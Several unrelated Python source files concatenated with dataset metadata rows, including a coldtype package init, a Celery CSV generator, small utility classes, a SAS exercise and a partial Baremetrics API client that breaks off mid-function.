# ('2020-02-17', 239.914100),
# ('2020-02-18', 239.088500),
# ('2020-02-19', 241.404600),
# ('2020-02-20', 242.918500),
# ('2020-02-24', 239.169600),
# ('2020-02-25', 238.753000),
# ('2020-02-26', 236.944800),
# ('2020-02-27', 235.445700),
# ('2020-02-28', 228.430400),
# ('2020-03-02', 226.409900),
# ('2020-03-03', 228.898700),
# ('2020-03-04', 225.494500),
# ('2020-03-05', 226.372600),
# ('2020-03-06', 222.403600),
# ('2020-03-09', 213.031100),
# ('2020-03-11', 211.457500),
# ('2020-03-12', 196.277200),
# ('2020-03-13', 201.910100),
# ('2020-03-16', 190.644800),
# ('2020-03-17', 185.556200),
# ('2020-03-18', 176.090100),
# ('2020-03-19', 169.996400),
# ('2020-03-20', 175.523500),
# ('2020-03-23', 154.327700),
# ('2020-03-24', 154.521800),
# ('2020-03-25', 159.212100),
# ('2020-03-26', 164.385900),
# ('2020-03-27', 165.762700),
# ('2020-03-30', 160.320700),
# ('2020-03-31', 164.221200),
# ('2020-04-01', 160.270500),
# ('2020-04-03', 157.544700),
# ('2020-04-07', 166.965400),
# ('2020-04-08', 168.052500),
# ('2020-04-09', 173.829700),
# ('2020-04-13', 172.417800),
# ('2020-04-15', 172.962500),
# ('2020-04-16', 175.006800),
# ('2020-04-17', 179.543900),
# ('2020-04-20', 179.964100),
# ('2020-04-21', 174.481100),
# ('2020-04-22', 176.484800),
# ('2020-04-23', 178.973300),
# ('2020-04-24', 175.431300),
# ('2020-04-27', 177.617600),
# ('2020-04-28', 178.921100),
# ('2020-04-29', 182.290600),
# ('2020-04-30', 186.633400),
# ('2020-05-04', 177.267500),
# ('2020-05-05', 175.515800),
# ('2020-05-06', 176.214000),
# ('2020-05-07', 174.894500),
# ('2020-05-08', 174.564200),
# ('2020-05-11', 174.428900),
# ('2020-05-12', 173.844300),
# ('2020-05-13', 177.240400),
# ('2020-05-14', 174.857100),
# ('2020-05-15', 174.402000),
# ('2020-05-18', 169.226500),
# ('2020-05-19', 170.636300),
# ('2020-05-20', 173.227000),
# ('2020-05-21', 175.118200),
# ('2020-05-22', 174.015300),
# ('2020-05-26', 174.952900),
# ('2020-05-27', 177.160300),
# ('2020-05-28', 179.697500),
# ('2020-05-29', 181.450600),
# ('2020-06-01', 186.470000),
# ('2020-06-02', 189.337200),
# ('2020-06-03', 190.144200),
# ('2020-06-04', 189.996700),
# ('2020-06-05', 193.988700),
# ('2020-06-08', 195.015200),
# ('2020-06-09', 192.345600),
# ('2020-06-10', 193.787500),
# ('2020-06-11', 190.278800),
# ('2020-06-12', 191.128000),
# ('2020-06-15', 188.433000),
# ('2020-06-16', 189.753200),
# ('2020-06-17', 190.217900),
# ('2020-06-18', 193.259700),
# ('2020-06-19', 195.715900),
# ('2020-06-22', 198.383100),
# ('2020-06-23', 200.957300),
# ('2020-06-24', 196.971400),
# ('2020-06-25', 196.986600),
# ('2020-06-26', 198.189500),
# ('2020-06-29', 196.210400),
# ('2020-06-30', 196.367800),
# ('2020-07-01', 197.827200),
# ('2020-07-02', 198.979600),
# ('2020-07-03', 201.122500),
# ('2020-07-06', 203.998700),
# ('2020-07-07', 204.731400),
# ('2020-07-08', 202.003000),
# ('2020-07-09', 203.028400),
# ('2020-07-10', 201.595000),
# ('2020-07-13', 201.840900),
# ('2020-07-14', 199.702300),
# ('2020-07-15', 198.834900),
# ('2020-07-16', 200.240400),
# ('2020-07-17', 202.680200),
# ('2020-07-20', 204.662300),
# ('2020-07-21', 206.138100),
# ('2020-07-22', 206.094600),
# ('2020-07-23', 207.745300),
# ('2020-07-24', 206.486200),
# ('2020-07-27', 204.412900),
# ('2020-07-28', 205.230700),
# ('2020-07-29', 205.017500)
# ]
| 34.397199 | 62 | 0.50855 | 7,826 | 54,038 | 3.510222 | 0.202147 | 0.010047 | 0.00131 | 0.000874 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.633201 | 0.202617 | 54,038 | 1,570 | 63 | 34.419108 | 0.00434 | 0.937748 | 0 | 0 | 0 | 0 | 0.053859 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ed1ce3dc324ce29a5611821e27106dab77adccc4 | 892 | py | Python | coldtype/__init__.py | ruohoruotsi/coldtype | 13993e5a4fa3f99c6800fed2496bd5a374e4f53f | [
"Apache-2.0"
] | null | null | null | coldtype/__init__.py | ruohoruotsi/coldtype | 13993e5a4fa3f99c6800fed2496bd5a374e4f53f | [
"Apache-2.0"
] | null | null | null | coldtype/__init__.py | ruohoruotsi/coldtype | 13993e5a4fa3f99c6800fed2496bd5a374e4f53f | [
"Apache-2.0"
] | null | null | null | import math, sys, os, re
from pathlib import Path
from coldtype.text import *
from coldtype.text.reader import Font
from coldtype.pens.datpen import DATPen, DATPens, DATPenSet, DP, DPS, P, PS
from coldtype.pens.dattext import DATText
from coldtype.geometry import *
from coldtype.color import *
from coldtype.renderable import *
from coldtype.helpers import loopidx, sibling, raw_ufo, ßhide, ßshow, cycle_idx, random_series, show_points, glyph_to_uni, uni_to_glyph, glyph_to_class, DefconFont
from coldtype.time import *
from coldtype.img.blendmode import BlendMode
#from coldtype.renderer.state import RendererState, Keylayer
name = "coldtype"
__version__ = "0.5.8"
__sibling__ = lambda x: x # will be redefined contextually
def debug_txt(r, txt, font_size=42, **kwargs):
return DATText(txt, Style("Times", font_size, load_font=0, **kwargs), r.inset(20))
def noop():
return None | 35.68 | 163 | 0.778027 | 133 | 892 | 5.052632 | 0.56391 | 0.196429 | 0.133929 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010296 | 0.128924 | 892 | 25 | 164 | 35.68 | 0.854569 | 0.100897 | 0 | 0 | 0 | 0 | 0.022472 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.105263 | false | 0 | 0.631579 | 0.105263 | 0.842105 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 3 |
ed2740d2485f6f9f8ac159e5c60a5408bfdae01d | 887 | py | Python | imtoolkit/IdealRayleighChannel.py | ishikawalab/imtoolk | e0b2d06fe734d7084644c1357ba68bd9cf79a309 | [
"MIT"
] | 7 | 2020-10-15T11:28:21.000Z | 2022-01-01T07:46:09.000Z | imtoolkit/IdealRayleighChannel.py | ishikawalab/imtoolk | e0b2d06fe734d7084644c1357ba68bd9cf79a309 | [
"MIT"
] | null | null | null | imtoolkit/IdealRayleighChannel.py | ishikawalab/imtoolk | e0b2d06fe734d7084644c1357ba68bd9cf79a309 | [
"MIT"
] | 3 | 2021-01-15T08:50:24.000Z | 2022-01-19T03:19:17.000Z | # Copyright (c) IMToolkit Development Team
# This toolkit is released under the MIT License, see LICENSE.txt
from .Channel import Channel
from .Util import randn_c
class IdealRayleighChannel(Channel):
"""
A `Channel` class that generates the ideal Rayleigh fading channel coefficients.
"""
def __init__(self, IT, M, N):
"""
Args:
IT (int): the number of parallel channel matrices.
M (int): the number of transmit antennas.
N (int):the number of receive antennas.
"""
self.IT = IT
self.M = M
self.N = N
def randomize(self):
self.channelMatrix = randn_c(self.IT * self.N, self.M)
def getChannel(self):
return self.channelMatrix
def getEstimate(self):
# Perfect channel state informaiton at the receiver
return self.channelMatrix
| 26.088235 | 84 | 0.62345 | 109 | 887 | 5.018349 | 0.495413 | 0.032907 | 0.065814 | 0.076782 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.295378 | 887 | 33 | 85 | 26.878788 | 0.8752 | 0.436302 | 0 | 0.153846 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.307692 | false | 0 | 0.153846 | 0.153846 | 0.692308 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
ed34fe6610bf837c17dbe7c951e9f17f2b6817bf | 1,520 | py | Python | project/lib/csv_celery_generator.py | yohayg/python-example-project | fc5f30ccf18fab6a3eb968c6de98c2fe44f48f45 | [
"MIT"
] | 1 | 2018-05-23T09:15:37.000Z | 2018-05-23T09:15:37.000Z | project/lib/csv_celery_generator.py | yohayg/python-generator | fc5f30ccf18fab6a3eb968c6de98c2fe44f48f45 | [
"MIT"
] | null | null | null | project/lib/csv_celery_generator.py | yohayg/python-generator | fc5f30ccf18fab6a3eb968c6de98c2fe44f48f45 | [
"MIT"
] | null | null | null | import logging
import multiprocessing as mp
from concurrent.futures import ProcessPoolExecutor
# from rx import Observable
from project.lib.celery_tasks import generate_task
# from project.lib.rabbit_mq_listener import receive_messages
from project.lib.utils import Utils
logging.basicConfig(format="%(name)s: %(levelname)s: %(message)s")
log = logging.getLogger("CsvCeleryGenerator")
executor = ProcessPoolExecutor(mp.cpu_count() + 2)
class CsvCeleryGenerator:
# For executing the celery generator you will need to do the following:
# 1. workon python-generator
# 2. docker run -d --hostname my-rabbit --name some-rabbit -p 5672:5672 -p 15672:15672 rabbitmq:3
# 3. celery -A project.lib.celery_app:app worker --loglevel=debug
# 4. python -m project.lib.receive
# 5. python project/lib/main_command.py ce -o '12.csv' -r 11 -b 2 --verbose
def __init__(self):
pass
@staticmethod
def generate_leads_file(total, bulk_size):
print('Generating %s leads.' % total)
print('')
# start the rabbit consumer
# print "tasks started"
# Observable.from_(range(0)).flat_map(
# lambda s: executor.submit(receive_messages, s)
# )
# start_consuming()
# print "tasks started"
bulks = Utils.get_bulks(bulk_size, total)
# print "tasks started"
# invoke celery tasks publish to kafka results
for bulk in bulks:
generate_task.delay(bulk)
print "tasks started"
| 31.666667 | 101 | 0.679605 | 197 | 1,520 | 5.13198 | 0.558376 | 0.059347 | 0.06726 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.026293 | 0.224342 | 1,520 | 47 | 102 | 32.340426 | 0.831213 | 0.457237 | 0 | 0 | 1 | 0 | 0.107807 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.052632 | 0.263158 | null | null | 0.157895 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
ed51fe25d68fb1c9f6675b78028c7534d9f03218 | 189 | py | Python | tests/functions_test.py | sideround/predict-revenue-new-releases | b6b597cfed328d6b7981917477ceb6f0630aee49 | [
"MIT"
] | null | null | null | tests/functions_test.py | sideround/predict-revenue-new-releases | b6b597cfed328d6b7981917477ceb6f0630aee49 | [
"MIT"
] | 11 | 2020-05-21T17:52:04.000Z | 2020-06-08T03:33:28.000Z | tests/functions_test.py | sideround/predict-revenue-new-releases | b6b597cfed328d6b7981917477ceb6f0630aee49 | [
"MIT"
] | 2 | 2020-06-02T13:14:16.000Z | 2020-06-11T17:46:05.000Z | #!/usr/bin/env python3
import pytest
import numpy as np
import os.path
"""
Check dataset used on tmdb_retriever is the final one
"""
def test_dataset_connection():
assert True == True
| 17.181818 | 53 | 0.740741 | 30 | 189 | 4.566667 | 0.866667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006369 | 0.169312 | 189 | 10 | 54 | 18.9 | 0.866242 | 0.111111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 1 | 0.2 | true | 0 | 0.6 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
ed58f54efb908bcc9ad3c429ff88004418198246 | 299 | py | Python | examples/effects/lens_crop_blocking.py | SimLeek/displayarray | 64fe1e2094448d86d743536eedae0039ca339063 | [
"MIT"
] | 8 | 2019-11-01T19:14:36.000Z | 2021-08-18T17:55:43.000Z | examples/effects/lens_crop_blocking.py | SimLeek/displayarray | 64fe1e2094448d86d743536eedae0039ca339063 | [
"MIT"
] | 12 | 2019-10-01T06:06:48.000Z | 2020-04-29T23:05:58.000Z | examples/effects/lens_crop_blocking.py | SimLeek/displayarray | 64fe1e2094448d86d743536eedae0039ca339063 | [
"MIT"
] | 3 | 2018-04-03T01:29:21.000Z | 2019-06-27T02:52:34.000Z | from displayarray.effects import crop, lens
from displayarray import display
from examples.videos import test_video
# Move the mouse to move where the crop is from on the original image
display(test_video).add_callback(crop.Crop()).add_callback(
lens.Barrel().enable_mouse_control()
).block()
| 29.9 | 69 | 0.795987 | 45 | 299 | 5.155556 | 0.577778 | 0.137931 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.123746 | 299 | 9 | 70 | 33.222222 | 0.885496 | 0.22408 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
ed5e669e2c28078d68a0f612e44c05bf82661b36 | 239 | py | Python | other/fenwick_tree.py | zzvsjs1/MyPyScripts | 0b161d8a0096c5253d2c6a9e7d5c9bebcfbe0f07 | [
"MIT"
] | null | null | null | other/fenwick_tree.py | zzvsjs1/MyPyScripts | 0b161d8a0096c5253d2c6a9e7d5c9bebcfbe0f07 | [
"MIT"
] | null | null | null | other/fenwick_tree.py | zzvsjs1/MyPyScripts | 0b161d8a0096c5253d2c6a9e7d5c9bebcfbe0f07 | [
"MIT"
] | null | null | null | class FenwickTree:
data: []
def __init__(self, n: int):
self.data = [0] * (n + 1)
@staticmethod
def __parent__(i: int) -> int:
return i - (i & (-i))
def __str__(self):
return str(self.data) | 15.933333 | 34 | 0.51046 | 30 | 239 | 3.666667 | 0.5 | 0.145455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012579 | 0.334728 | 239 | 15 | 35 | 15.933333 | 0.679245 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.222222 | 0.777778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
ed5f905733a33af77d80c2e15f53e3c798767c82 | 1,320 | py | Python | apetools/commons/errors.py | rsnakamura/oldape | b4d1c77e1d611fe2b30768b42bdc7493afb0ea95 | [
"Apache-2.0"
] | null | null | null | apetools/commons/errors.py | rsnakamura/oldape | b4d1c77e1d611fe2b30768b42bdc7493afb0ea95 | [
"Apache-2.0"
] | null | null | null | apetools/commons/errors.py | rsnakamura/oldape | b4d1c77e1d611fe2b30768b42bdc7493afb0ea95 | [
"Apache-2.0"
] | null | null | null |
from apetools.proletarians.errors import OperatorError
class ConnectionError(OperatorError):
"""
A ConnectionError is raised by connectinos to indicate a problem.
"""
pass
# end class ConnectionError
class ConnectionWarning(OperatorError):
"""
A connection warning is a non-fatal connection-related error.
"""
pass
# end class ConnectionWarning
class TimeoutError(OperatorError):
"""
A TimeoutError is a generic Timeout exception to wrap the various timeout
"""
pass
# end class TimeoutError
class CommandError(OperatorError):
"""
A CommandError reflects a problem with the command on the Device-side
"""
pass
# end class CommandError
class ConfigurationError(OperatorError):
"""
A ConfigurationError is raised if there is an error in the configuration file
"""
pass
# end class ConfigurationError
class StorageError(OperatorError):
"""
An StoragError is raised by the StorageOutput
"""
pass
# end class StorageError
class AffectorError(OperatorError):
"""
An Affector Error is raised for non-recoverable affector errors
"""
# end class AffectorError
class ArgumentError(OperatorError):
"""
raised if command-line arguments don't produce valid output
"""
# end class InvocationError
| 20.307692 | 81 | 0.712879 | 144 | 1,320 | 6.534722 | 0.430556 | 0.068013 | 0.076514 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.218939 | 1,320 | 64 | 82 | 20.625 | 0.912706 | 0.54697 | 0 | 0.4 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.4 | 0.066667 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
ed639ff7d1a8ea063424b4a10c038d493a9e55be | 494 | py | Python | python_fundamentals/party_profit.py | MaggieIllustrations/softuni-github-programming | f5695cb14602f3d2974359f6d8734332acc650d3 | [
"MIT"
] | null | null | null | python_fundamentals/party_profit.py | MaggieIllustrations/softuni-github-programming | f5695cb14602f3d2974359f6d8734332acc650d3 | [
"MIT"
] | null | null | null | python_fundamentals/party_profit.py | MaggieIllustrations/softuni-github-programming | f5695cb14602f3d2974359f6d8734332acc650d3 | [
"MIT"
] | 1 | 2022-01-14T17:12:44.000Z | 2022-01-14T17:12:44.000Z | party_size = int(input())
days = int(input())
coins = 0
for i in range(1, days + 1):
coins += 50
if i % 10 == 0:
party_size -= 2
if i % 15 == 0:
party_size += 5
coins -= party_size * 2
if i % 3 == 0:
coins -= party_size * 3
if i % 5 == 0:
coins += party_size * 20
if i % 3 == 0:
coins -= party_size * 2
coins_per_person = coins // party_size
print(f"{party_size} companions received {coins_per_person} coins each.")
| 23.52381 | 73 | 0.534413 | 77 | 494 | 3.25974 | 0.350649 | 0.322709 | 0.278884 | 0.179283 | 0.243028 | 0.151394 | 0.151394 | 0 | 0 | 0 | 0 | 0.072727 | 0.331984 | 494 | 20 | 74 | 24.7 | 0.687879 | 0 | 0 | 0.222222 | 0 | 0 | 0.12753 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.055556 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ed78ec50328d6f6da24c4eec1521f1f548761a7c | 2,661 | py | Python | Exercise_File_D-Getting_SASPy_Environment_Info.py | ilankham/wuss-2019-half-day-class | 7b872e5ee294e62c62a20c5cd7b4e441df63f70a | [
"MIT"
] | 2 | 2019-09-04T03:29:12.000Z | 2021-03-02T07:22:08.000Z | Exercise_File_D-Getting_SASPy_Environment_Info.py | ilankham/wuss-2019-half-day-class | 7b872e5ee294e62c62a20c5cd7b4e441df63f70a | [
"MIT"
] | null | null | null | Exercise_File_D-Getting_SASPy_Environment_Info.py | ilankham/wuss-2019-half-day-class | 7b872e5ee294e62c62a20c5cd7b4e441df63f70a | [
"MIT"
] | 3 | 2019-09-04T05:57:02.000Z | 2019-09-15T21:21:47.000Z | # Everything is better with friends: Executing SAS® code in Python scripts with
# SASPy, and turbocharging your SAS programming with open-source tooling
#
# Half-day class, Western Users of SAS Software (WUSS) 2019
###############################################################################
# Exercise 10: Getting SASPy Environment Info #
###############################################################################
# Lines 12-14 load modules needed for exercises and should be left as-is
from class_setup import print_with_title
from saspy import SASsession
sas = SASsession()
###############################################################################
# #
# Exercise 10. [Python w/ saspy] Get info about a SAS session #
# #
# Instructions: Uncomment the code immediately below, and then execute #
# #
###############################################################################
# sas_submit_return_value = sas.submit('PROC PRODUCT_STATUS; RUN;')
# sas_submit_log = sas_submit_return_value['LOG']
# print_with_title(sas_submit_log, 'SAS log from PROC PRODUCT_STATUS:')
# Notes:
#
# 1. The SAS PRODUCT_STATUS procedure is called, and the following is printed:
# * the log returned by PROC PRODUCT_STATUS
#
# 2. As before, the sas object represents a connection to a SAS session, and
# its submit method is used to submit the PROC PRODUCT_STATUS step to the
# SAS kernel. A dictionary is returned with the following key-value pairs:
# * sas_submit_return_value['LST'] is a string comprising the results from
# executing PROC PRODUCT_STATUS, which is empty because no output is
# produced by this procedure
# * sas_submit_return_value['LOG'] is a string comprising the plain-text log
# resulting from executing PROC PRODUCT_STATUS
#
# 3. Like the Python command help('modules') gives us information about the
# Python modules available to our Python session, the PRODUCT_STATUS
# procedure gives us information about the products available in the SAS
# environment we're connected to.
#
# 4. For additional practice, try any or all of the following:
# * Verify the output from PROC PRODUCT_STATUS is empty.
# * Compare the output of PROC PRODUCT_STATUS to PROC SETINIT.
# * Refactor the sas.submit call to match Exercise 9, including
# triple-quotes (''') around the argument and embedded line breaks.
| 46.684211 | 79 | 0.58136 | 310 | 2,661 | 4.893548 | 0.46129 | 0.085695 | 0.089651 | 0.052736 | 0.133158 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008526 | 0.250658 | 2,661 | 56 | 80 | 47.517857 | 0.751755 | 0.810973 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
71ef9e441963e03a6ac7eab3ae21b45b77386328 | 308 | py | Python | src/lib/base/abstract_task_future.py | SimonDudanski/integration-test-docker-environment | 3ea81172248f770596d81ff378772677ab5656ea | [
"MIT"
] | null | null | null | src/lib/base/abstract_task_future.py | SimonDudanski/integration-test-docker-environment | 3ea81172248f770596d81ff378772677ab5656ea | [
"MIT"
] | null | null | null | src/lib/base/abstract_task_future.py | SimonDudanski/integration-test-docker-environment | 3ea81172248f770596d81ff378772677ab5656ea | [
"MIT"
] | null | null | null | from ...abstract_method_exception import AbstractMethodException
DEFAULT_RETURN_OBJECT_NAME = "default"
class AbstractTaskFuture:
def get_output(self, name: str = DEFAULT_RETURN_OBJECT_NAME):
raise AbstractMethodException()
def list_outputs(self):
raise AbstractMethodException()
| 25.666667 | 65 | 0.775974 | 31 | 308 | 7.387097 | 0.645161 | 0.113537 | 0.165939 | 0.200873 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.159091 | 308 | 11 | 66 | 28 | 0.88417 | 0 | 0 | 0.285714 | 0 | 0 | 0.022727 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.142857 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
71f0d3da98af94e43389ad60e3df3ae209336757 | 11,504 | py | Python | python_baremetrics/client.py | budurli/python-baremetrics | d1191a90ae172f502761449346c8c6380ad9e461 | [
"Apache-2.0"
] | 1 | 2021-11-27T13:39:37.000Z | 2021-11-27T13:39:37.000Z | python_baremetrics/client.py | budurli/python-baremetrics | d1191a90ae172f502761449346c8c6380ad9e461 | [
"Apache-2.0"
] | 201 | 2017-08-07T14:32:20.000Z | 2022-03-28T22:05:10.000Z | python_baremetrics/client.py | budurli/python-baremetrics | d1191a90ae172f502761449346c8c6380ad9e461 | [
"Apache-2.0"
] | 1 | 2017-12-01T09:37:30.000Z | 2017-12-01T09:37:30.000Z | # -*- coding: utf-8 -*-
import logging
try:
from urllib.parse import urlencode
from urllib.parse import urljoin
except Exception:
from urllib import urlencode
from urlparse import urljoin
import requests
from .exceptions import BaremetricsAPIException, APICallNotImplemented
logger = logging.getLogger('baremetrics')
class BaremetricsClient(object):
def __init__(self, token, api_version='v1', sandbox=False):
self.TOKEN = token
self.API_VERSION = api_version
if sandbox:
self.DEBUG = True
self.BASE_URL = 'https://api-sandbox.baremetrics.com'
else:
self.DEBUG = False
self.BASE_URL = 'https://api.baremetrics.com'
def __get_headers(self):
return {
'Authorization': 'Bearer {}'.format(self.TOKEN),
'Accept': 'application/json'
}
def __get_url(self, url):
full_url = '/'.join([self.BASE_URL, self.API_VERSION, url])
return full_url
def __get(self, url, **params):
full_url = self.__get_url(url)
headers = self.__get_headers()
if self.DEBUG:
logger.info('Sending GET {} to {}'.format(params, full_url))
r = requests.get(full_url, headers=headers, params=params)
if r.status_code == requests.codes.ok:
return r.json()
raise BaremetricsAPIException(r)
def __post(self, url, data):
full_url = self.__get_url(url)
headers = self.__get_headers()
if self.DEBUG:
logger.info('Sending POST {} to {}'.format(data, full_url))
r = requests.post(full_url, headers=headers, data=data)
if r.status_code == requests.codes.ok:
return r.json()
raise BaremetricsAPIException(r)
def __put(self, url, data):
full_url = self.__get_url(url)
headers = self.__get_headers()
if self.DEBUG:
logger.info('Sending PUT {} to {}'.format(data, full_url))
r = requests.put(full_url, headers=headers, data=data)
if r.status_code == requests.codes.ok:
return r.json()
raise BaremetricsAPIException(r)
def __delete(self, url):
full_url = self.__get_url(url)
headers = self.__get_headers()
if self.DEBUG:
logger.info('Sending DELETE to {}'.format(full_url))
r = requests.delete(full_url, headers=headers)
if r.status_code in (requests.codes.ok, requests.codes.accepted,):
return r.json()
raise BaremetricsAPIException(r)
def __join_link_with_params(self, link, **params):
if params:
query = urlencode(params)
link = '{}?{}'.format(link, query)
return link
# account
def get_account(self):
"""
:return:
{
"account": {
"id": 'account_id',
"default_currency": {
"id": "usd",
"alternate_symbols": [
"US$"
],
"decimal_mark": ".",
"disambiguate_symbol": "US$",
"html_entity": "$",
"iso_code": "USD",
"iso_numeric": "840",
"name": "United States Dollar",
"priority": 1,
"smallest_denomination": 1,
"subunit": "Cent",
"subunit_to_unit": 100,
"symbol": "$",
"symbol_first": true,
"thousands_separator": ","
},
"company": "Example Company",
"created_at": 123456789
}
}
"""
return self.__get('account')
# sources
def list_sources(self):
"""
:return:
{
"sources": [
{
"id": "source_id",
"provider": "stripe",
"provider_id": "<stripe_account_id>"
},
{
"id": "source_id",
"provider": "baremetrics",
"provider_id": null
}
]
}
"""
return self.__get('sources')
# plans
def list_plans(self, source_id):
"""
:param source_id: Source ID
:return:
{
"plans": [
{
"oid": "plan_1",
"source_id": "123",
"source": "baremetrics",
"name": "Plan 1",
"interval": "year",
"interval_count": 1,
"trial_duration": null,
"trial_duration_unit": null,
"created": null,
"active": true,
"setup_fees": 0,
"amounts": [
{
"currency": "USD",
"symbol": "$",
"symbol_right": false,
"amount": 450000
}
]
},
{
"oid": "plan_2",
"source_id": "123",
"source": "baremetrics",
"name": "Plan 2",
"interval": "year",
"interval_count": 1,
"trial_duration": null,
"trial_duration_unit": null,
"created": null,
"active": true,
"setup_fees": 0,
"amounts": [
{
"currency": "USD",
"symbol": "$",
"symbol_right": false,
"amount": 450000
}
]
}
]
}
"""
return self.__get('{}/plans'.format(source_id))
def show_plan(self, source_id, plan_id):
"""
:param source_id: Source ID
:param plan_id: Plan ID
:return:
{
"plan": {
"oid": "plan_2",
"source_id": "123",
"source": "baremetrics",
"name": "Plan 2",
"interval": "year",
"interval_count": 1,
"trial_duration": null,
"trial_duration_unit": null,
"created": null,
"active": true,
"setup_fees": 0,
"amounts": [
{
"currency": "USD",
"symbol": "$",
"symbol_right": false,
"amount": 450000
}
]
}
}
"""
return self.__get('{}/plans/{}'.format(source_id, plan_id))
def update_plan(self, source_id, oid, name):
return self.__put('{}/plans/{}'.format(source_id, oid), data={'name': name})
def create_plan(self, source_id, oid, name, currency, amount, interval, interval_count):
return self.__post('{}/plans'.format(source_id), data={
'oid': oid,
'name': name,
'currency': currency,
'amount': amount,
'interval': interval,
'interval_count': interval_count
})
def delete_plan(self, source_id, oid):
return self.__delete('{}/plans/{}'.format(source_id, oid))
# customers
def list_customers(self, source_id, **kwargs):
url = '{}/customers'.format(source_id)
url = self.__join_link_with_params(url, **kwargs)
return self.__get(url)
def show_customer(self, source_id, oid):
return self.__get('{}/customers/{}'.format(source_id, oid))
def show_customer_events(self, source_id, oid):
return self.__get('{}/customers/{}/events'.format(source_id, oid))
def update_customer(self, source_id, customer_oid, **kwargs):
